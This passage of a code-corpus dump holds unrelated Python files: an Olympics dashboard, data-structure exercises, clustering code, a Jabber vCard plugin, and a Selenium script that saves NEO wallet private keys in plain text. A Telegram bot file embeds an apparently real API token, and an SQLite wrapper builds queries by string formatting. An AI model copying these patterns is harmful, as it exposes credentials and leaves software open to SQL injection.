years\ndef find_year_df(country, sport, event):\n year_list = []\n if sport == \"All Sports\":\n df_final = sort_country(country)\n year_list = numpy.unique(df[\"Year\"])\n elif event == \"All Events\":\n df_final = sort_sport(country, sport)\n df_sport = df[df[\"Sport\"] == sport]\n year_list = numpy.unique(df_sport[\"Year\"])\n else:\n df_final = sort_event(country, sport, event)\n df_sport = df[df[\"Sport\"] == sport]\n df_event = df[df[\"Event\"] == event]\n year_list = numpy.unique(df_event[\"Year\"])\n year_list.sort()\n return [year_list, df_final]\n\n\n# Update the all time graph based on sport,country\n@app.callback(\n Output(\"all_time_comparison\", \"figure\"),\n [Input(\"event_all_time\", \"value\")],\n [State(\"sport_all_time\", \"value\")],\n)\ndef update_all_time_graph(event, sport):\n figure_data = []\n df_event = find_sport_year(sport, event)\n for i in df_event[\"Team\"].unique():\n temp_df = df_event[df_event[\"Team\"] == i]\n total_medals = len(temp_df)\n if total_medals < 1:\n continue\n years = numpy.unique(temp_df[\"Year\"])\n medals = [len(temp_df[temp_df[\"Year\"] == year]) for year in years]\n figure_data.append(\n go.Scatter(\n x=years,\n y=medals,\n mode=\"lines+markers\",\n text=\"{}\".format(i),\n name=\"{}\".format(i),\n )\n )\n figure = {\n \"data\": figure_data,\n \"layout\": go.Layout(\n xaxis={\"title\": \"Year\", \"type\": \"linear\"},\n yaxis={\n \"title\": \"# of medals for {} in {}\".format(sport, event),\n \"type\": \"linear\",\n },\n plot_bgcolor=\"#CCE5E6\",\n paper_bgcolor=\"#CCE5E6\",\n margin={\"l\": 60, \"b\": 50, \"t\": 40, \"r\": 0},\n height=450,\n ),\n }\n return figure\n\n\n# Update the by country graph based on the selections\n@app.callback(\n [Output(\"country_stats\", \"figure\"), Output(\"medalists\", \"data\")],\n [\n Input(\"event\", \"value\"),\n Input(\"year\", \"value\"),\n Input(\"start_year\", \"value\"),\n Input(\"end_year\", \"value\"),\n ],\n [State(\"country\", \"value\"), State(\"sport\", \"value\")],\n)\ndef update_graph(event, year, start_year, end_year, country, sport):\n df_vals = find_year_df(country, sport, event)\n filtered_df = df_vals[1]\n if len(year) != 0:\n start_year = year[0]\n end_year = year[1]\n x = [\n cur_year\n for cur_year in df_vals[0]\n if cur_year >= start_year and cur_year <= end_year\n ]\n\n y = [len(filtered_df[filtered_df[\"Year\"] == year]) for year in x]\n # Line Graph\n figure1 = {\n \"data\": [go.Scatter(x=x, y=y, mode=\"lines+markers\")],\n \"layout\": go.Layout(\n xaxis={\"title\": \"Year\", \"type\": \"linear\"},\n yaxis={\n \"title\": \"# of medals for {} in {} ({})\".format(sport, event, country),\n \"type\": \"linear\",\n },\n plot_bgcolor=\"#CCE5E6\",\n paper_bgcolor=\"#CCE5E6\",\n margin={\"l\": 40, \"b\": 30, \"t\": 10, \"r\": 0},\n height=450,\n ),\n }\n\n medalists = filtered_df[filtered_df.Medal.notnull()]\n medalists = medalists[[\"Name\", \"Year\", \"Event\", \"Medal\"]]\n medalists = medalists[\n (medalists[\"Year\"] >= start_year) & (medalists[\"Year\"] <= end_year)\n ]\n medalists = medalists.sort_values(\"Year\")\n table_data = medalists.to_dict(\"records\")\n\n return figure1, table_data\n\n\nif __name__ == \"__main__\":\n app.run_server(debug=True)\n","sub_path":"Olympics.py","file_name":"Olympics.py","file_ext":"py","file_size_in_byte":17716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"19273558","text":"from data_structures.queue import LIFO\n\n\nclass StackQueue:\n\n def __init__(self):\n self.stack1 = LIFO()\n self.stack2 = LIFO()\n\n def is_empty(self):\n return self.stack1.is_empty() and self.stack2.is_empty()\n\n def push(self, x):\n self.stack1.push(x)\n\n def pop(self):\n while not self.stack1.is_empty():\n self.stack2.push(self.stack1.pop())\n return self.stack2.pop()\n\n\nq = StackQueue()\n\nfor i in range(10):\n q.push(i)\n\nres = []\nwhile not q.is_empty():\n res.append(q.pop())\n\nassert res == range(10)\n","sub_path":"challenges/queues/stack_queue/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"287666221","text":"import telebot\n\nbot = telebot.TeleBot('1659123156:AAG8TYEx3f2m8vs-wONQRwbH82kI_UFiQWg')\n\n\n@bot.message_handler(commands=['start', 'help']) # декоратор с помощью которого бот реагирует на команду /start\ndef start_massage(message): # Функция реакции на команду\n bot.send_message(message.chat.id, 'Привет я топливный оракул,чем могу быть полезен?')\n\n\n@bot.message_handler(content_types=['text']) # Декоратор на контент текста.\ndef send_text(message): # Функция на сообщение\n if message.text.lower() == 'привет': # Функция реагирует на разный регист,даже если слово по разному напечатано\n bot.send_message(message.chat.id, 'Добро пожаловать, Господин!')\n elif message.text.lower() == 'Прощай' or 'Пока':\n bot.send_message(message.chat.id, 'Прощай, создатель!')\n\n# Команда для того что бы бот не отключался сразу,а работал и проверял нет ли новых сообщений на сервере\n# |\n# |\n# \\ /\n# |\nbot.polling()\n","sub_path":"first_bot.py","file_name":"first_bot.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"186914650","text":"'''\nUn file di compiti contiene informazioni su un insieme di compiti da eseguire.\nEsistono due tipologie di compiti:\n- compiti che possono essere eseguiti indipendentemente dagli altri.\n- compiti da svolgere solo al termine di un compito preliminare.\nI compiti del primo tipo sono codificati nel file mediante una linea che contiene\nin sequenza le due sottostringhe \"comp\" ed \"N\" (senza virgolette) eventualmente inframmezzate, \nprecedute e/o seguite da spazi. \"N\" e' l'ID del compito (un numero positivo).\nCompiti del secondo tipo sono codificati nel file mediante due linee di codice.\n-- la prima linea, contiene in sequenza le due sottostringhe \"comp\" ed \"N\" \n(senza virgolette) eventualmente inframmezzate, \nprecedute e/o seguite da spazi. \"N\" e' l'ID del compito (un numero positivo).\n-- la seconda linea (immediatamente successiva nel file) contiene \nin sequenza le due sottostringhe \"sub\" ed \"M\" (senza virgolette) eventualmente inframmezzate, \nprecedute e/o seguite da spazi. \"M\" e' l'ID del compito preliminare.\n\nil seguente file di compiti contiene informazioni su 4 compiti (con identificativi 1,3,7 e 9). \nI compiti con identificativi 1 e 9 possono essere svolti indipendentemente dagli altri mentre i compiti \ncon identificativo 3 e 7 hanno entrambi un compito preliminare.\n\ncomp 3\n sub 9\n comp1\ncomp 9\n comp 7\nsub3\n\nScrivere la funzione pianifica(fcompiti,insi,fout) che prende in input:\n- il percorso di un file (fcompiti) \n- un insieme di ID di compiti da cercare (insi)\n- ed il percorso di un file (fout) \ne che salva in formato JSON nel file fout un dizionario (risultato).\n\nIl dizionario (risultato) dovra' contenere come chiavi gli identificativi (ID) dei compiti \npresenti in fcompiti e richiesti nell'insieme insi.\nAssociata ad ogni ID x del dizionario deve esserci una lista contenente gli identificativi (ID) dei compiti \nche bisogna eseguire prima di poter eseguire il compito x richiesto\n(ovviamente la lista di un ID di un compito che non richie un compito preliminare risultera' vuota ). \nGli (ID) devono comparire nella lista nell'ordine di esecuzione corretto, dal primo fino a quello precedente a quello richiesto \n(ovviamente il primo ID di una lista non vuota corripondera' sempre ad un compito che non richiede un compito preliminare). \n\n\nSi puo' assumere che:\n - se l' ID di un compito che richieda un compito preliminare e' presente in fcompiti \n allora anche l'ID di quest'ultimo e' presente in fcompiti\n - la sequenza da associare al compito ID del dizionario esiste sempre\n - non esistono cicli (compiti che richiedono se' stessi anche indirettamente)\n\n\nAd esempio per il file di compiti fcompiti contenente:\n\ncomp 3\n sub 9\n comp1\ncomp 9\n comp 7\nsub3\n\nal termine dell'esecuzione di pianifica(fcompiti,{'7','1','5'}, 'a.json')\nil file 'a.json' deve contenere il seguente dizionario\n{'7':['9','3'],'1':[]}\n\n\nPer altri esempi vedere il file grade02.txt\n\nAVVERTENZE:\n\tnon usare caratteri non ASCII, come le lettere accentate;\n\tnon usare moduli che non sono nella libreria standard.\nNOTA: l'encoding del file e' 'utf-8'\nATTENZIONE: Se un test del grader non termina entro 10 secondi il punteggio di quel test e' zero.\n'''\n \nimport json\ndef Ricerca_binaria(lista, n, x):\n '''Funzione di ricerca binaria.'''\n i = 0\n j = n-1 \n while(i <= j):\n medio = int((i+j)/2)\n elem = lista[medio]\n if (x < elem[0]):\n j = medio - 1\n elif (x > elem[0]):\n i = medio + 1\n else:\n return medio\n return -1\n\ndef pianifica(fcompiti,insi,fout):\n f = open(fcompiti)\n listapost = []\n listapost = f.readlines()\n compiti = []\n outx = {}\n\n nc = 0\n compito =\"\"\n sub = \"\"\n for i in range(0,len(listapost)):\n riga = listapost[i]\n if \"comp\" in riga:\n if len(compito) > 0:\n compiti.append([compito,sub])\n sub = \"\"\n riga = riga.replace(\"comp\",\"\")\n riga = riga.replace(\" \",\"\")\n riga = riga.replace(\"\\n\",\"\")\n compito = riga\n if \"sub\" in riga:\n riga = riga.replace(\"sub\",\"\")\n riga = riga.replace(\" \",\"\")\n riga = riga.replace(\"\\n\",\"\")\n sub = riga\n \n compiti.sort()\n n = len(compiti)\n\n for compito in insi:\n outc = []\n ancora = True\n xi = Ricerca_binaria(compiti, n, compito)\n if xi >= 0:\n subcompito = compito\n while ancora:\n xj = Ricerca_binaria(compiti, n, subcompito)\n if xj < 0:\n outx[compito] = outc\n break \n else:\n elem = compiti[xj]\n if elem[1] == \"\":\n outx[compito] = outc\n break\n else:\n if elem[1] not in outc:\n subcompito = elem[1]\n if len(outc) == 0:\n outc.append(elem[1])\n else:\n outc.insert(0,elem[1])\n f.close()\n g = open(fout,'w')\n json.dump(outx,g)\n g.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n","sub_path":"students/1798013/homework02/program02.py","file_name":"program02.py","file_ext":"py","file_size_in_byte":5247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"603473662","text":"'''\n This file is X-Manager sqlite manage file.\nprocess Here\n \nFileName: xsqlite.py\nDate : 2016-01-05\nAuthor : wanghongyi\nVersion : v0.1 \n'''\n# Import file here \nimport os\nimport sqlite3\n\n\"\"\"\n Interface Here\n\"\"\"\n\nSQL_CREATE_TABLE = '''CREATE TABLE {} ({})'''\nSQL_INSERT_TABLE = '''INSERT INTO {} values '''\nSQL_UPDATE_TABLE = '''UPDATE {} SET {} = ? WHERE {} = ? '''\nSQL_DELETE_TABLE = '''DELETE FROM {} WHERE {} = {}'''\nSQL_SELECT_ONE = '''SELECT * FROM {} WHERE {} = '''\nSQL_SELECT_ALL = '''SELECT * FROM {}'''\n\nclass xSqlite():\n \"\"\"\n sqlite database interface operate here . \n \"\"\" \n \n \n \n def __init__(self,fileName):\n '''\n Init sqlite database empty. \n '''\n self.curr_db = fileName\n self.columns = []\n self.keys = '' \n self.currtColumn = ['id','int(16)',False]\n self.__tableName__ = 'xSqliteTable' \n if not os.path.exists(self.curr_db):\n self.db = sqlite3.connect(self.curr_db)\n self.db.close()\n \n def column(self,name,type,keys = False,none = False):\n \"\"\"\n set column value\n \"\"\" \n self.currtColumn[0] = name\n self.currtColumn[1] = type\n if none:\n self.currtColumn[2] = \"DEFAULT NULL\"\n else:\n self.currtColumn[2] = \"NOT NULL\"\n if keys:\n self.keys = name \n self.columns.extend(self.currtColumn) \n return self.currtColumn\n \n def create(self,tableName='xSqliteTable'):\n '''\n create table. \n ''' \n self.__tableName__ = tableName\n self.db = sqlite3.connect(self.curr_db) \n self.cursor = self.db.cursor() \n list_table = '' \n c = 0 \n for column in self.columns:\n c +=1 \n list_table += \"'\"\n list_table += column\n list_table += \"'\" \n list_table += ' ' \n if c%3 == 0:\n list_table += ','\n list_table += \"PRIMARY KEY ({}{}{})\".format(\"'\",self.keys,\"'\")\n sqlOrder = SQL_CREATE_TABLE.format(tableName,list_table)\n self.cursor.execute(sqlOrder) \n self.db.commit()\n self.cursor.close()\n self.db.close()\n self.columns=[]\n \n \n def add(self,list):\n '''\n add a list of table.\n WARRNING: id wil be repeat \n ''' \n self.db = sqlite3.connect(self.curr_db)\n self.cursor = self.db.cursor()\n sql_order = SQL_INSERT_TABLE.format(self.__tableName__)\n if not len(list) == 0: \n sql_order += str(list)\n #print(sql_order)\n self.cursor.execute(sql_order)\n self.db.commit() \n self.cursor.close()\n self.db.close()\n \n \n def update(self,referList,targetList):\n '''\n update part of list.\n ''' \n self.db = sqlite3.connect(self.curr_db)\n self.cursor = self.db.cursor()\n sql_order = SQL_UPDATE_TABLE.format(self.__tableName__,targetList[0],referList[0])\n print(sql_order)\n value = (targetList[1],referList[1])\n self.cursor.execute(sql_order,value)\n self.db.commit() \n self.cursor.close()\n self.db.close()\n\n\n def delete(self,columeList):\n '''\n delete a list of table.\n ''' \n self.db = sqlite3.connect(self.curr_db)\n self.cursor = self.db.cursor() \n sql_order = SQL_DELETE_TABLE.format(self.__tableName__,columeList[0],columeList[1]) \n self.cursor.execute(sql_order)\n self.db.commit() \n self.cursor.close()\n self.db.close()\n \n \n def select(self,columeName,value):\n '''\n select a list of table\n '''\n self.db = sqlite3.connect(self.curr_db)\n self.cursor = self.db.cursor() \n sql_order = SQL_SELECT_ONE.format(self.__tableName__,columeName)+str(value) \n self.cursor.execute(sql_order) \n list = self.cursor.fetchall() \n self.cursor.close()\n self.db.close()\n return list\n \n \n def selectAll(self):\n '''\n select all lists of table\n '''\n self.db = sqlite3.connect(self.curr_db)\n self.cursor = self.db.cursor()\n sql_order = SQL_SELECT_ALL.format(self.__tableName__)\n self.cursor.execute(sql_order) \n list = self.cursor.fetchall() \n self.cursor.close()\n self.db.close()\n return list\n \n \nif __name__ == '__main__':\n list = [(0,\"why\"),(1,\"31313\"),(2,\"ffff\")]\n xs = xSqlite('ide.db')\n xs.column('name',\"int(16)\",True)\n xs.column('user',\"varchar(24)\")\n xs.create()\n for listp in list: \n xs.add(listp)\n print(xs.selectAll())\n xs.update([\"name\",0],[\"user\",\"99999999\"])\n print(xs.selectAll())\n xs.delete([\"user\",\"31313\"])\n print(xs.selectAll())","sub_path":"app/xsqlite.py","file_name":"xsqlite.py","file_ext":"py","file_size_in_byte":5138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"3615414","text":"from typing import List\nfrom Leetcode.utils import perf\n\n\nclass Solution:\n # tc: O(N)\n # sc: O(N)\n @perf\n def spiralOrder(self, matrix: List[List[int]]) -> List[int]:\n if not matrix:\n return []\n\n state_machine = {\n 'up': 'right',\n 'right': 'down',\n 'down': 'left',\n 'left': 'up',\n }\n \n direction = 'right'\n visited = [ [False] * len(matrix[0]) for _ in range(len(matrix)) ]\n ans = []\n\n ri, ci = 0, 0\n while len(ans) < len(matrix) * len(matrix[0]):\n ans.append( matrix[ri][ci] )\n visited[ri][ci] = True\n\n if direction == 'right':\n ci += 1\n if ci >= len(matrix[0]) or visited[ri][ci]:\n ci -= 1\n direction = state_machine[direction]\n if direction == 'down':\n ri += 1\n if ri >= len(matrix) or visited[ri][ci]:\n ri -= 1\n direction = state_machine[direction]\n if direction == 'left':\n ci -= 1\n if ci < 0 or visited[ri][ci]:\n ci += 1\n direction = state_machine[direction]\n if direction == 'up':\n ri -= 1\n if ri < 0 or visited[ri][ci]:\n ri += 1\n ci += 1\n direction = state_machine[direction]\n \n return ans\n","sub_path":"Leetcode/spiral_matrix/solution_by_border.py","file_name":"solution_by_border.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"304980970","text":"import clusters as clus\nfunc=clus.pearson\nbest_k=5\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport bisect_k\nfrom preprocess_file import *\nfrom print_model import *\n#import word_cloud\nfrom sse_and_centroid import*\n\ndef read_file():\n data=[]\n classes=[]\n columns=True\n with open('course-descriptions2.csv', errors='replace') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n for row in csvreader:\n if columns==True:\n columns=False\n continue\n classes.append(row[0]+' '+row[1])\n \n with open('doc_topic_data.csv') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n for row in csvreader:\n integers=[int(i) for i in row]\n data.append(integers)\n \n return data, classes\n\ndef elbow_method(data):\n # Data for plotting\n max_range=range(1,25)\n x_k=[]\n y_sse=[]\n for i in max_range:\n raw_clusters = clus.kcluster(data, distance=func, k=i)\n clusters=eliminate(raw_clusters)\n x_k.append(i)\n y_sse.append(sse(clusters, data))\n\n fig, ax = plt.subplots()\n ax.plot(x_k, y_sse)\n\n ax.set(xlabel='k', ylabel='sse',title='k-means')\n fig.savefig(\"elbow_chart.png\")\n plt.show()\n\ndef test_metrics(data):\n sse_metrics=[]\n metrics=['manhattan','euclidean','cosine','pearson','tanimoto']\n clusters=eliminate(clus.kcluster(data, distance=clus.manhattan, k=best_k))\n sse_metrics.append(sse(clusters, data))\n clusters=eliminate(clus.kcluster(data, distance=clus.euclidean, k=best_k))\n sse_metrics.append(sse(clusters, data))\n clusters=eliminate(clus.kcluster(data, distance=clus.cosine, k=best_k))\n sse_metrics.append(sse(clusters, data))\n clusters=eliminate(clus.kcluster(data, distance=clus.pearson, k=best_k))\n sse_metrics.append(sse(clusters, data))\n clusters=eliminate(clus.kcluster(data, distance=clus.tanimoto, k=best_k))\n sse_metrics.append(sse(clusters, data))\n \n fig, ax = plt.subplots()\n ax.plot(metrics, sse_metrics)\n\n ax.set(xlabel='metrics', ylabel='sse',title='measure distance metrics')\n fig.savefig(\"metrics.png\")\n plt.show()\n\ndef k_means(data, countries):\n tests=[]\n for j in range(1001):\n test={}\n raw_clusters = clus.kcluster(data, distance=func, k=best_k)\n clusters = []\n for i in range(best_k):\n if len(raw_clusters[i]) == 0:\n continue\n clusters.append(raw_clusters[i])\n test['cluster {}:'.format(i + 1)]=[countries[r] for r in clusters[i]]\n test['sse']=sse(clusters, data)\n tests.append(test)\n print('total: '+str(j))\n best_sse=50\n pos=None\n for i in range(len(tests)):\n if tests[i]['sse']mydict['sse']:\n with open('clustered_classes.csv', 'w', newline='') as csvfile:\n writer = csv.writer(csvfile)\n for key, value in mydict.items():\n writer.writerow([key, value])\n print('sse: '+str(mydict['sse']))\n\ndef main():\n data, classes=read_file()\n #elbow_method(data)\n #test_metrics(data)\n #k_means(data, classes)\n #hierarchical.hier(data,classes)\n '''raw_clusters = clus.kcluster(data, distance=func, k=best_k)\n clusters = []\n class_clusters = []\n for i in range(best_k):\n if len(raw_clusters[i]) == 0:\n continue\n clusters.append(raw_clusters[i])\n print('cluster {}:'.format(i + 1))\n print([classes[j] for j in raw_clusters[i]])\n class_clusters.append([classes[j][1] for j in raw_clusters[i]])\n print(\"sse: \" + str(sse(clusters, data)))'''\n\n #word_cloud.cloud(clusters, data)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"class_clustering.py","file_name":"class_clustering.py","file_ext":"py","file_size_in_byte":4041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"363943826","text":"from selenium import webdriver\nfrom selenium import *\nimport time\nimport pandas as pd\nimport os\nimport datetime\n\ntotalPrivs = []\ntottalAddresss = []\n\nNEO_ADDRESS_PATH = 'neoAddress.xls'\n\n\ndef createEthAddAndPriv(count):\n driver = webdriver.Chrome()\n driver.get('https://snowypowers.github.io/ansy/')\n\n global totalPrivs\n global tottalAddresss\n\n for i in range(count):\n print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'), \"count:\", i)\n privateKey = \"\"\n address = \"\"\n try:\n generateTab = driver.find_element_by_xpath('//*[@id=\"content\"]/div[1]/div/div/div[1]/label[2]')\n generateTab.click()\n\n generateBtn = driver.find_element_by_xpath('//*[@id=\"gen\"]')\n generateBtn.click()\n\n privEle = driver.find_element_by_xpath(\n '//*[@id=\"content\"]/div[2]/div/div/article[2]/div/footer/div/textarea')\n\n pubEle = driver.find_element_by_xpath(\n '//*[@id=\"content\"]/div[2]/div/div/article[1]/div/footer/div/textarea')\n\n if privEle:\n privateKey = privEle.text\n print(privateKey)\n if pubEle:\n address = pubEle.get_attribute('placeholder')\n print(address)\n\n\n\n except Exception as e:\n print(repr(e))\n\n try:\n delPrevEle = driver.find_element_by_xpath('//*[@id=\"content\"]/div[2]/div/div/div/button')\n delPrevEle.click()\n except Exception as e:\n print(repr(e))\n\n if not privateKey == \"\" and not address == \"\":\n print(privateKey, address)\n totalPrivs.append(privateKey)\n tottalAddresss.append(address)\n\n\ndef saveAddrAndPriv():\n global totalPrivs\n global tottalAddresss\n print(\"保存地址\")\n print(\"totalAddress:\" + str(len(tottalAddresss)))\n print(\"totalPrivacy:\" + str(len(totalPrivs)))\n\n for i in range(0, len(tottalAddresss)):\n print(tottalAddresss[i], totalPrivs[i])\n\n data = {\n \"addr\": tottalAddresss,\n \"priv\": totalPrivs\n }\n df = pd.DataFrame(data)\n\n if os.path.exists(NEO_ADDRESS_PATH):\n df1 = pd.read_excel(NEO_ADDRESS_PATH)\n df = pd.concat([df, df1])\n\n df.to_excel(NEO_ADDRESS_PATH, index=False)\n\n\nif __name__ == '__main__':\n try:\n createEthAddAndPriv(1000)\n except Exception as e:\n print(repr(e))\n finally:\n saveAddrAndPriv()\n","sub_path":"createNeoAddr.py","file_name":"createNeoAddr.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"543234347","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nfrom django.conf.urls import url\nfrom mongo_admin.articles.views import (\n ArticlesView, ArticlesDetailView,\n ArticlesDeleteView\n)\n\nurlpatterns = [\n url(r'^$', ArticlesView.as_view(), name='articles'),\n url(r'/(?P[0-9a-z]+)/delete/$', ArticlesDeleteView.as_view(), name='article-delete'),\n url(r'(?P[0-9a-z]+)/$', ArticlesDetailView.as_view(), name='article-edit'),\n]\n","sub_path":"mongo_admin/articles/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"379979315","text":"#!/usr/bin/env python\nimport rospy\nimport sys\nimport math\n\nfrom geometry_msgs.msg import Twist\nfrom kobuki_msgs.msg import BumperEvent\nfrom geometry_msgs.msg import Point\nfrom sensor_msgs.msg import LaserScan\nfrom random import random\n\ndef argmin(array):\n value = 10.0\n index = 0\n rospy.loginfo(\"array size\"+ 'len(array)')\n for i in range(len(array)):\n if not math.isnan(array[i]):\n if array[i]0.9) : \n driveLeft()\n elif (00.9)or(00.9 and left>0.9 and right>left):\n driveRight()\n elif (00.9 and left>0.9 and right0.9 or front==0) and (right>0.9 or 00.9 or front==0) and (00.9):\n bitLeft()\n elif (front>0.9 or front==0) and 0left :\n driveRight()\n elif (front>0.9 or front==0) and 0 10:\n # i = 0\n publisher.publish(twist)\n rospy.sleep(0.1)\n # stop robot after bumper hit\n #twist=Twist()\n #publisher.publish(twist)\n \n","sub_path":"src/turtlebot/tim_duong_di.py","file_name":"tim_duong_di.py","file_ext":"py","file_size_in_byte":6998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"297722371","text":"\"\"\"\nTextWriter Class\n\"\"\"\n\nfrom logging import Logger\n\nfrom ..basic_writer import BasicWriter\n\nclass TextWriter(BasicWriter):\n \"\"\"\n TextWriterクラス\n Ynf形式を文字列にする。\n 主にデバッグ用。\n \"\"\"\n def __init__(self, file_path:str, overwrite:bool=False, logger:Logger=None):\n \"\"\"\n コンストラクタ\n\n Parameters\n ----------\n file_path: str\n 出力するファイルパス\n overwrite: bool\n 既に存在する場合は上書きするオプション\n logger: Logger\n ロガー。指定されない場合は別途定義してあるデフォルトロガー。\n \"\"\"\n super(__class__,self).__init__(file_path, overwrite, logger)\n\n\n def write(self, ynf):\n \"\"\"\n ファイル出力\n \"\"\"\n with open(self.file_path, mode=\"w\", encoding=\"utf-8\") as f:\n self.__write_top_properties(ynf, f)\n \n if 'elements' in ynf.__dict__.keys():\n for i, e in enumerate(ynf.elements):\n self.__write_element_properties(i, e, f)\n \n\n def __write_top_properties(self, ynf, hndl):\n \"\"\"\n Ynf全体のプロパティを出力する\n \"\"\"\n hndl.write('--- top properties ---\\n')\n for k, v in ynf.__dict__.items():\n hndl.write(f'[{k}]={v}\\n')\n\n return\n\n\n def __write_element_troperits(self, index, elm, hndl):\n \"\"\"\n elements属性のプロパティを出力する\n \"\"\"\n hndl.write(f'--- element ({index}) ---\\n')\n for k, v in elm.__dict__.items():\n hndl.write(f'[{k}]={v}\\n')\n\n return\n\n","sub_path":"src/fig_package/text_writer/text_writer.py","file_name":"text_writer.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"446858859","text":"import Library_ArraySwapTwoElements\nimport Library_TestLooper\n\nArgSetExpectedResultCombos = []\nArgSetExpectedResultCombos.append(\n (\n {\n \"Array\": ['a','b', 'c', 'd'],\n \"Index1\": 1,\n \"Index2\": 2,\n }\n , \n ['a', 'c', 'b', 'd']\n )\n)\n\n\n\nLoopResult = Library_TestLooper.Main(\n FunctionToTest = Library_ArraySwapTwoElements.Main,\n ArgSetExpectedResultCombos = ArgSetExpectedResultCombos,\n OrderOfMagnitudeRatioMax = 0.1,\n HardDifferenceMax = 1.0,\n DoEqualityCheck = True,\n DoContainmentCheck = False,\n MinFlatResultLength = None,\n MaxFlatResultLength = None,\n ResultOrderMatters = True, \n PrintExtra = True,\n)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Test_ArraySwapTwoElements.py","file_name":"Test_ArraySwapTwoElements.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"643678403","text":"# -*- coding: utf8 -*-\r\n\r\n#get from http://cvs.berlios.de/svnroot/repos/freq-dev/trunk/\r\n#Copyright (c) 2008 Burdakov Daniel \r\n\r\ndef vcard_handler(t, s, p):\r\n jid=get_true_jid(s[1]+'/'+s[2])\r\n if p:\r\n if s[1] in GROUPCHATS and p in GROUPCHATS[s[1]]:\r\n jid=get_true_jid(s[1]+'/'+p)\r\n else:\r\n jid=p\r\n r=u'FN,BDAY,DESC,URL'\r\n packet = IQ(CLIENTS[s[3]], 'get')\r\n packet.addElement('vCard', 'vcard-temp')\r\n packet.addCallback(vcard_result_handler, t, s, p, r)\r\n reactor.callFromThread(packet.send, jid)\r\n\r\ndef vcard_result_handler(t, s, p, r, x):\r\n if x['type'] == 'result':\r\n try: vcard = parse_vcard(element2dict(x)['vCard'])\r\n except KeyError:\r\n reply(t, s, u'Ошибка парсинга vCard!')\r\n return\r\n for i in vcard.keys():\r\n q = i.split('/')\r\n q = [j for j in q if j in r]\r\n if (not q and not('*' in r)) or i.count('BINVAL'): vcard.pop(i)\r\n res = [u'%s: %s' % (vcard_describe(i, 'ru'), vcard[i]) for i in vcard.keys() if vcard[i].strip()]\r\n if res: reply(t, s, 'vCard:\\n' + '\\n'.join(res))\r\n else: reply(t, s, u'vCard не заполнен!')\r\n else:\r\n reply(t, s, u'Его клиент не поддерживает vCard!')\r\n\r\nVCARD_FIELDS = {\r\n'ru::vCard/FN' : u'Полное имя', \r\n'ru::vCard/URL' : u'Сайт',\r\n'ru::vCard/BDAY' : u'День рождения',\r\n'ru::vCard/DESC' : u'О себе',\r\n'ru::vCard/PHOTO/TYPE' : u'Фото',\r\n'ru::vCard/ORG/ORGNAME' : u'Организация',\r\n'ru::vCard/TITLE' : u'Роль',\r\n'ru::vCard/ADR/CTRY' : u'Государство',\r\n'ru::vCard/EMAIL/USERID': u'Мыло',\r\n'ru::vCard/NICKNAME' : u'Ник',\r\n'ru::vCard/TEL/NUMBER' : u'Телефон',\r\n'ru::vCard/ADR/REGION' : u'Регион',\r\n'ru::vCard/ADR/LOCALITY': u'Город'}\r\n\r\ndef vcard_describe(field, lang):\r\n field = field[:len(field)-1]\r\n m = lang + '::' + field\r\n if m in VCARD_FIELDS.keys(): return VCARD_FIELDS[m]\r\n else: return field\r\n\r\ndef parse_vcard(x):\r\n r = {}\r\n if type(x) == domish.Element:\r\n for i in x.children:\r\n q = parse_vcard(i)\r\n for j in q.keys():\r\n r['%s/%s' % (x.name, j)] = q[j]\r\n else: r[''] = x\r\n return r\r\n\r\nfrom twisted.words.xish import domish\r\ndef element2dict(element, p=0):\r\n r = {}\r\n for i in element.children:\r\n if i.__class__ == domish.Element:\r\n r[i.name] = i\r\n else:\r\n if p: r[''] = i\r\n return r\r\n\r\n\r\nregister_command_handler(vcard_handler, 'визитка', ['мук','инфо','все'], 0, 'Показывает vCard указанного пользователя.', 'визитка [ник]', ['визитка guy','визитка'])\r\n\r\nimport base64\r\n\r\ndef hnd_vcard_edit(t, s, p):\r\n file = 'dynamic/vcard.txt'\r\n db_file(file, dict)\r\n db = eval(read_file(file))\r\n VC = {'DESC':u'Комментарии(о себе)','ORGNAME':u'Организация','NICKNAME':u'Ник','TITLE':u'Род занятий','URL':u'Сайт'}\r\n \r\n if not p:\r\n if db:\r\n logo = ''\r\n if os.path.exists('vc.jpg') and os.path.getsize('vc.jpg')<=60000:\r\n logo+= u'Ава: vc.jpg ('+byteString(os.path.getsize('vc.jpg'))+')\\n'\r\n reply(t, s, u'Информация из базы:\\n'+logo+'\\n'.join([VC[x]+': '+db[x] for x in db.keys()]))\r\n return\r\n if p.lower() == u'update':\r\n if not db:\r\n reply(t, s, u'База пуста')\r\n 